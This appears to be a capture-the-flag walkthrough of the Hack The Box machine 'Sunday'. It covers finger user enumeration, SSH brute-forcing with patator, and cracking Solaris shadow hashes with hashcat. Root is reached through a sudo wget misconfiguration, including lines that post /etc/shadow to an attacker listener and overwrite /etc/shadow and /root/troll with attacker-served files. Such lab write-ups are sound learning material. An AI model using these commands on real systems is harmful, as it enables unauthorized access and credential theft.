

sunday

```
(root@kali)-[/Documents/htb/boxes/sunday]
# nmap -sC -sV -oA nmap/sunday 10.10.10.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 17:14 EDT
Nmap scan report for 10.10.10.76
Host is up (0.22s latency).
Not shown: 983 closed ports
PORT      STATE      SERVICE      VERSION
79/tcp    open      finger       Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open      rpcbind      2-4 (RPC #100000)
161/tcp   filtered  snmp
515/tcp   filtered  printer
900/tcp   filtered  omginitialrefs
999/tcp   filtered  garcon
1112/tcp  filtered  mysql
1839/tcp  filtered  netopia-vo1
2020/tcp  filtered  xinupageserver
2040/tcp  filtered  lam
2105/tcp  filtered  eklogin
3017/tcp  filtered  event_listener
3800/tcp  filtered  pwgpsi
5280/tcp  filtered  xmpp-bosh
5298/tcp  filtered  presence
8192/tcp  filtered  sophos
51493/tcp filtered  unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 191.86 seconds
```

finger user enum



Tous

Vidéos

Images

Actualités

Plus

Paramètres

Outils

Environ 894.000 résultats (0,36 secondes)

<https://github.com> > pentestmonkey ▾ [Traduire cette page](#)

pentestmonkey/finger-user-enum: Username ... - GitHub

... primarily for use against the default Solaris finger service. Also supports relaying of queries through another finger server. - pentestmonkey/finger-user-enum.

```
(root@kali)-[/Documents/htb/boxes/sunday]
# git clone https://github.com/pentestmonkey/finger-user-enum
Cloning into 'finger-user-enum' ...
remote: Enumerating objects: 11, done.
remote: Total 11 (delta 0), reused 0 (delta 0), pack-reused 11
Receiving objects: 100% (11/11), 80.73 KiB | 486.00 KiB/s, done.
Resolving deltas: 100% (1/1), done.
```

```
(root@kali)-[/Documents/htb/boxes/sunday]
# ls
finger-user-enum  nmap  sunday.ctb  sunday.ctb~  sunday.ctb~  sunday.ctb~~
```

```
(root@kali)-[/Documents/htb/boxes/sunday/finger-user-enum]
# ./finger-user-enum.pl
finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

Usage: finger-user-enum.pl [options] ( -u username | -U file-of-usernames ) ( -t host | -T file-of-targets )

options are:
-m n      Maximum number of resolver processes (default: 5)
-u user   Check if user exists on remote system
-U file   File of usernames to check via finger service
-t host   Server host running finger service
-T file   File of hostnames running the finger service
-r host   Relay. Intermediate server which allows relaying of finger requests.
-p port   TCP port on which finger service runs (default: 79)
-d        Debugging output
-s n      Wait a maximum of n seconds for reply (default: 5)
-v        Verbose
-h        This help message
```

Also see finger-user-enum-user-docs.pdf from the finger-user-enum tar ball.

Examples:

```
$ finger-user-enum.pl -U users.txt -t 10.0.0.1
$ finger-user-enum.pl -u root -t 10.0.0.1
$ finger-user-enum.pl -U users.txt -T ips.txt
```

```
(root@kali)-[/Documents/htb/boxes/sunday/finger-user-enum]
# ./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76 | less -S
```

Starting finger-user-enum v1.0 (http://pentestmonkey.net/tools/finger-user-enum)

Scan Information	
Worker Processes	5
Usernames file	/usr/share/seclists/Usernames/Names/names.txt
Target count	1
Username count	10177
Target TCP port	79
Query timeout	5 secs
Relay Server	Not used

```
##### Scan started at Fri Apr 30 17:35:06 2021 #####
access@10.10.10.76: access No Access User
admin@10.10.10.76: Login      Name      TTY      Idle    When    Where .. adm      Admin      < . . . >..
anne marie@10.10.10.76: Login      Name      TTY      Idle    When    Where .. anne     Admin      < . . . >..
bin@10.10.10.76: bin      ???      TTY      Idle    When    Where .. dee     ???.. dee     ??>
dee dee@10.10.10.76: Login      Name      TTY      Idle    When    Where .. jo      ???.. ann      ???>
jo ann@10.10.10.76: Login      Name      TTY      Idle    When    Where .. la      ???.. verne     ?>
la verne@10.10.10.76: Login      Name      TTY      Idle    When    Where .. lp      Line Printer Admin < . . . >
line@10.10.10.76: Login      Name      TTY      Idle    When    Where .. smmsp  SendMail Message Sub < . . . >
message@10.10.10.76: Login      Name      TTY      Idle    When    Where .. miao     ???.. mela     >
miof mela@10.10.10.76: Login      Name      TTY      Idle    When    Where .. miao     ???.. mela     >
sammy@10.10.10.76: sammy console <Jul 31, 2020>..
sunny@10.10.10.76: sunny pts/3 <Apr 24, 2018> 10.10.14.4 ..
sys@10.10.10.76: sys      ???      TTY      Idle    When    Where .. zsa      ???.. zsa      ??>
zsa zsa@10.10.10.76: Login      Name      TTY      Idle    When    Where .. zsa      ???.. zsa      ??>
##### Scan completed at Fri Apr 30 18:19:57 2021 #####
14 results.
```

users: sammy sunny , what's sudo terminal they logged in to,

time , address

```
(root@kali)-[/Documents/htb/boxes/sunday/finger-user-enum]
# ./finger-user-enum.pl -u root -t 10.10.10.76
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )

|-----|
| Scan Information |
|-----|

Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
Worker Processes ..... 5
Target count ..... 1
Username count ..... 1
Target TCP port ..... 79
Query timeout ..... 5 secs
Relay Server ..... Not used
Usernames file ..... /usr/share/seclists/Usernames/Names/names.txt
##### Scan started at Fri Apr 30 18:33:35 2021 #####
root@10.10.10.76: root Super-User 10177 pts/3 <Apr 24, 2018> sunday ..
##### Scan completed at Fri Apr 30 18:33:35 2021 #####
1 results.
Query timeout ..... 5 secs
Relay Server ..... Not used
1 queries in 1 seconds (1.0 queries / sec)
```

instead of ip we have sunday, we know sunday is a hostname

```
(root@kali)-[/Documents/htb/boxes/sunday]
# msfdb run
[+] Starting database

Metasploit

=[ metasploit v6.0.30-dev ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: View missing module options with show
missing
```

Matching Modules

```
msf6 > use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users) > show options
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts
file with syntax 'file:<path>'			
RPORT	79	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
USERS_FILE	/usr/share/metasploit-framework/data/wordlists/unix_users.txt	yes	The file that contains a list of default UNIX accounts.

```
msf6 auxiliary(scanner/finger/finger_users) > run
```

```
(root@kali)-[/Documents/htb/boxes/sunday]
# nmap -p- -oA nmap/allports.nmap 10.10.10.76 --max-retries 0
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 17:40 EDT
Warning: 10.10.10.76 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.10.10.76
Host is up (0.15s latency).
Not shown: 62829 filtered ports, 2704 closed ports
PORT      STATE SERVICE
111/tcp    open  rpcbind
22022/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 78.89 seconds
```



```
(root@kali)-[/Documents/htb/boxes/sunday]
# nmap -p- -oA nmap/allports.nmap 10.10.10.76 --max-retries 0
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 17:37 EDT
Warning: 10.10.10.76 giving up on port because retransmission cap hit (0).
Verbosity Increased to 1.
Verbosity Increased to 2.
Verbosity Increased to 3.
Verbosity Increased to 4.
Verbosity Increased to 5.
Discovered open port 60949/tcp on 10.10.10.76
Discovered open port 79/tcp on 10.10.10.76
SYN Stealth Scan Timing: About 32.85% done; ETC: 17:39 (0:01:03 remaining)
Discovered open port 40569/tcp on 10.10.10.76
Completed SYN Stealth Scan at 17:38, 63.16s elapsed (65535 total ports)
Nmap scan report for 10.10.10.76
Host is up (0.17s latency).
Scanned at 2021-04-30 17:37:35 EDT for 64s
Not shown: 63072 filtered ports, 2459 closed ports
PORT      STATE SERVICE
79/tcp    open  finger
111/tcp   open  rpcbind
40569/tcp open  unknown
60949/tcp open  unknown
```

```
(root@kali)-[/Documents/htb/boxes/sunday]
# nmap -sC -sV -p 79,111,22022,40569,60949 -oA nmap/targetedPorts 10.10.10.76
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-30 17:47 EDT
Nmap scan report for 10.10.10.76
Host is up (0.15s latency).
PORT      STATE SERVICE VERSION
79/tcp    open  finger  Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open  rpcbind 2-4 (RPC #100000)
22022/tcp open  ssh      SunSSH 1.3 (protocol 2.0)
|_ ssh-hostkey:
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
40569/tcp open  rpcbind
60949/tcp open  unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.86 seconds
```

password as sunday

```
(root@kali)-[/Documents/htb/boxes/sunday/finger-user-enum]
# ssh -p 22022 sunny@10.10.10.76
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5SLw5Ew8Mqkay+al2g
=,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

(root@kali)-[/Documents/htb/boxes/sunday/finger-user-enum]
# ssh -oKexAlgorithms+=diffie-hellman-group1-sha1 -p 22022 sunny@10.10.10.76
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
RSA key fingerprint is SHA256:TmR09yKIj8Rr/KJIZFXEVswWZB/hic/jAhr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$ id
uid=65535(sunny) gid=1(other) groups=1(other)
sunny@sunday:~$
```

we can bruteforce password using hydra or patator

```
(root@kali) [/Documents/htb/boxes/sunday]
# patator ssh_login host=10.10.10.76 port=22022 password=FILE0 0=/usr/share/seclists/Passwords/probable-v2-top1575.txt user=sunny persist
ent=0 -x ignore:mesg='Authentication failed.'
18:47:49 patator INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.1 at 2021-04-30 18:47 EDT
18:47:49 patator INFO -
18:47:49 patator INFO - code size time | candidate | num | mesg
18:47:49 patator INFO -
18:50:24 patator FAIL - xxx 79 5.149 | pandora | 484 | <class 'paramiko.ssh_exception.SSHException'>
Error reading SSH protocol banner
18:52:57 patator INFO - 0 19 0.594 | sunday | 880 | SSH-2.0-Sun_SSH_1.3
```

```
sunny@sunday:~$ sudo -l
User sunny may run the following commands on this host:
    (root) NOPASSWD: /root/troll
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
```

```
sunny@sunday:~/Desktop$ ls /
backup boot dev etc home lib media net platform root sbin tmp var
bin cdrom devices export kernel lost+found mnt opt proc rpool system usr
```

```
sunny@sunday:~/Desktop$ cd /backup/
sunny@sunday:/backup$ ls
agent22.backup shadow.backup
sunny@sunday:/backup$ ls -al
total 5
drwxr-xr-x  2 root root  4 2018-04-15 20:44 .
drwxr-xr-x 26 root root 27 2020-07-31 17:59 ..
-r-x--x--x  1 root root 53 2018-04-24 10:35 agent22.backup
-rw-r--r--  1 root root 319 2018-04-15 20:44 shadow.backup
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::::
openldap:*LK*:::::::::
webserver:*LK*:::::::::
postgres:NP:::::::::
svctag:*LK*:6445:::::::::
nobody:*LK*:6445:::::::::
noaccess:*LK*:6445:::::::::
nobody4:*LK*:6445:::::::::
sammy:$5$Ebkn8jLk$i6SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB:6445:::::::::
sunny:$5$iRmbpnBv$Zh7s6D7ColnogCdiVE5FLz9vCZOMkUFxklRhhaShxv3:17636:::::::::
```

```
hashes x
1 $5$Ebkn8jLk$i6SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB
2
```

https://hashcat.net/wiki/doku.php?id=example_hashes

7200	GRUB 2	grub.pbkdf2.sha512.10000.7d391ef48645f626b427b1fae06a7219b5b54f4f02b2621f86b5e36e83ae492bd1db6f
7300	IPMI2 RAKP HMAC-SHA1	b7c2d6f13a43dce2e44ad120a9cd8a13d0ca23f0414275c0bbe1070d2d1299b1c04da0f1a0f1e4e2537300263a2
7400	sha256crypt \$5\$, SHA256 (Unix) ²	\$5\$rounds=5000\$GX7BopJZJxPc/KEK\$le16UF8l2Anb.rOrn22AUPWvzUETDGefUmAV8AZkGcD
7500	Kerberos 5 AS-REQ Pre-Auth etype 23	\$krb5pa\$23\$user\$realm\$salt\$4e751db65422b211f7eac7b721932dc8aa0d9966785ecd958f971f622bf5c42dcf

```
(root@kali)-[/Documents/htb/boxes/sunday]
# hashcat -m 7400 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting ...
```

```
$5$Ebkn8jLk$16SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB:cooldude!
```

pass= cooldude!

```
sunny@sunday:/backup$ su - sammy
Password:
Sun Microsystems Inc.   SunOS 5.11           snv_111b           November 2008
sammy@sunday:~$ id
uid=101(sammy) gid=10(staff) groups=10(staff)
```

```
sammy@sunday:~/Desktop$ cat user.txt
a3d9498027ca5187ba1793943ee8a598
```

```
sammy@sunday:~/Desktop$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
```

```
sammy@sunday:~/Desktop$ sudo wget -i /etc/shadow 2>&1 | awk '{print $4}'
root:$5$WVmHMduo$nI.KTRbAaUv1ZgzaGiHhpA2RNdoo3aMDgPBL25FZcoD:14146::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::
adm:NP:6445::::::
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
dladm:*LK*::::::
smmsp:NP:6445::::::
listen:*LK*::::::
gdm:*LK*::::::
zfssnap:NP:6445::::::
xvm:*LK*6445::::::
mysql:NP:6445::::::
openldap:*LK*6445::::::
websrvd:*LK*6445::::::
postgres:NP:6445::::::
svctag:*LK*6445::::::
nobody:*LK*6445::::::
noaccess:*LK*6445::::::
nobody4:*LK*6445::::::
sammy:$5$Ebkn8jLk$16SSPa0.u7Gd.0oJOT4T421N20vsfXqAT1vCoYU0igB:6445::::::
sunny:$5$iRMbpbvBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
in
```

```
(root@kali)-[/Documents/htb/boxes/sunday]
# hashcat -m 7400 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting ...
```



```
troll x
1  #!/usr/bin/bash
2  bash
3
```

```
sammy@sunday:~$ sleep 5;sudo wget 10.10.14.3:8000/troll -O /root/troll
--05:39:27-- http://10.10.14.3:8000/troll
           => `/root/troll'
Connecting to 10.10.14.3:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 21 [application/octet-stream]
100%[=====] 21 --K/s
05:39:27 (3.98 MB/s) - `/root/troll' saved [21/21]
```

```
(rootkali)-[/Documents/htb/boxes/sunday]
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.76 - - [30/Apr/2021 20:02:55] "GET /troll HTTP/1.0" 200 -
```

```
sunny@sunday:~$ sudo /root/troll
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nucp),12(daemon)
```

```
root@sunday:~# cat /root/root.txt
fb40fab61d99d37536daeec0d97af9b8
```

```
root@sunday:/root# cat overwrite
#!/usr/bin/bash

while true; do
    /usr/gnu/bin/cat /root/troll.original > /root/troll
    /usr/gnu/bin/sleep 5
done
```

script runs every 5s copy from troll.original to /root/troll and cat it

WAY 2)

```
sammy@sunday:~$ sudo wget --post-file=/etc/shadow 10.10.14.3
--06:27:43-- http://10.10.14.3/
           => `index.html'
Connecting to 10.10.14.3:80... connected.
HTTP request sent, awaiting response...
```



```

(root@kali)-[/Documents/htb/boxes/sunday]
# nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.76.
Ncat: Connection from 10.10.10.76:53695.
POST / HTTP/1.0
User-Agent: Wget/1.10.2
Accept: */*
Host: 10.10.14.3
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 634

root:$5$WVmHMduo$nI.KTRbAaUv1ZgzaGiHhpA2RNdoo3aMDgPBL25FZcoD:14146::::::
daemon:NP:6445::::::
bin:NP:6445::::::
sys:NP:6445::::::serving HTTP on 0.0.0.0 port 8000 ...
adm:NP:6445::::::10.10.10.76 - - [30/Apr/2021 20:02:55] "GET /troll HTTP/1.0"
lp:NP:6445::::::
uucp:NP:6445::::::
nuucp:NP:6445::::::
dladm:*LK*::::::
smmisp:NP:6445::::::
listen:*LK*::::::
gdm:*LK*::::::
zfssnap:NP:6445::::::
xvm:*LK*:6445::::::
mysql:NP:6445::::::
openldap:*LK*::::::
websrvd:*LK*::::::
postgres:NP:6445::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jLk$I6SSPa0.u7Gd.0oJ0T4T421N20vsfXqAT1vCoYU0igB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdIVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

```

change the shadow file lets gives root a known password's hash ,
sammy's hashes password

shadow x

```
1 root:$5$Ebkn8jLk$i6SSPa0.u7Gd.0oJ0T4T421N20vsfXqAT1vCoYU0igB:14146::::::
2 daemon:NP:6445::::::
3 bin:NP:6445::::::
4 sys:NP:6445::::::
5 adm:NP:6445::::::
6 lp:NP:6445::::::
7 uucp:NP:6445::::::
8 nuucp:NP:6445::::::
9 dladm:*LK*::::::
10 smmsp:NP:6445::::::
11 listen:*LK*::::::
12 gdm:*LK*::::::
13 zfssnap:NP:6445::::::
14 xvm:*LK*:6445::::::
15 mysql:NP:6445::::::
16 openldap:*LK*::::::
17 webservd:*LK*::::::
18 postgres:NP:6445::::::
19 svctag:*LK*:6445::::::
20 nobody:*LK*:6445::::::
21 noaccess:*LK*:6445::::::
22 nobody4:*LK*:6445::::::
23 sammy:$5$Ebkn8jLk$i6SSPa0.u7Gd.0oJ0T4T421N20vsfXqAT1vCoYU0igB:6445::::::
24 sunny:$5$iRmbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
25
```

```
(rootkali)-[/Documents/htb/boxes/sunday]
# python -m SimpleHTTPServer 8001
Serving HTTP on 0.0.0.0 port 8001 ...
10.10.10.76 - - [30/Apr/2021 20:58:57] "GET /shadow HTTP/1.0" 200 -
16 openldap:*LK*::::::
```

```
sammy@sunday:~$ sudo wget 10.10.14.3:8001/shadow -O /etc/shadow
--06:35:28-- http://10.10.14.3:8001/shadow
=> '/etc/shadow'
Connecting to 10.10.14.3:8001... connected.
HTTP request sent, awaiting response... 200 OK
Length: 634 [application/octet-stream]
100%[=====] 634 --.-K/s
06:35:29 (140.22 MB/s) - '/etc/shadow' saved [634/634]

sammy@sunday:~$ su -
Password:
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
You have new mail.
root@sunday:~# id
uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon)
root@sunday:~#
```